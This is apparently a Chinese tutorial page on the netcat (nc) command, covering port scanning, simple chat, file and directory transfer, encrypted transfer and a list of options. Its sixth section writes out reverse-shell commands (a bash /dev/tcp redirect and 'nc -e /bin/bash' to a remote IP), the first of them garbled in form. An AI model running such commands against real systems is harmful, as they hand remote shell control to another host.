1. 程式人生 > 實用技巧 >nc命令詳解

nc命令詳解

nc命令詳解

1.埠掃描

nc -z -v -n 192.168.21.135 1-100

z引數告訴nc使用0 輸入/輸出模式,一般在掃描通訊埠的時候使用

v引數顯示指令執行過程

n引數告訴nc不使用DNS反向查詢ip地址的域名

2.做為通訊使用

server: nc -l 5555

client: nc 192.168.21.133 5555

l引數使用監聽模式,管控傳入的資料

3.檔案傳輸

server: nc -l 5555< aa.txt

client: nc -n 192.168.21.133 >aa.txt

同樣也可以互換,傳輸檔案

server:nc -l 5555 > aa.txt

client: nc 192.168.21.133 5555 <aa.txt

4.目錄傳輸

檔案可以傳送,但是目錄也同樣可以傳輸,利用管道傳輸起來。

server: tar -czvf- faith/ |nc -l 5555

client: nc -n 192.168.21.133 5555 | tar -zxvf -

5.加密傳輸

server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

6.建立shell

server:nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1

client: nc -lvp 5555

還有一種:

server:nc -e /bin/bash 192.168.21.136 5555

client: nc -lvp 5555

7.nc其他引數
參  數:

-g<閘道器> 設定路由器躍程通訊閘道器,最多可設定8個。

-G<指向器數目> 設定來源路由指向器,其數值為4的倍數。

-h 線上幫助。

-i<延遲秒數> 設定時間間隔,以便傳送資訊及掃描通訊埠。

-l 使用監聽模式,管控傳入的資料。

-n 直接使用IP地址,而不通過域名伺服器。

-o<輸出檔案> 指定檔名稱,把往來傳輸的資料以16進位制字碼傾倒成該檔案儲存。

-p<通訊埠> 設定本地主機使用的通訊埠。

-r 亂數指定本地與遠端主機的通訊埠。

-s<來源地址> 設定本地主機送出資料包的IP地址。

-u 使用UDP傳輸協議。

-v 顯示指令執行過程。

-w<超時秒數> 設定等待連線的時間。

-z 使用0輸入/輸出模式,只在掃描通訊埠時使用。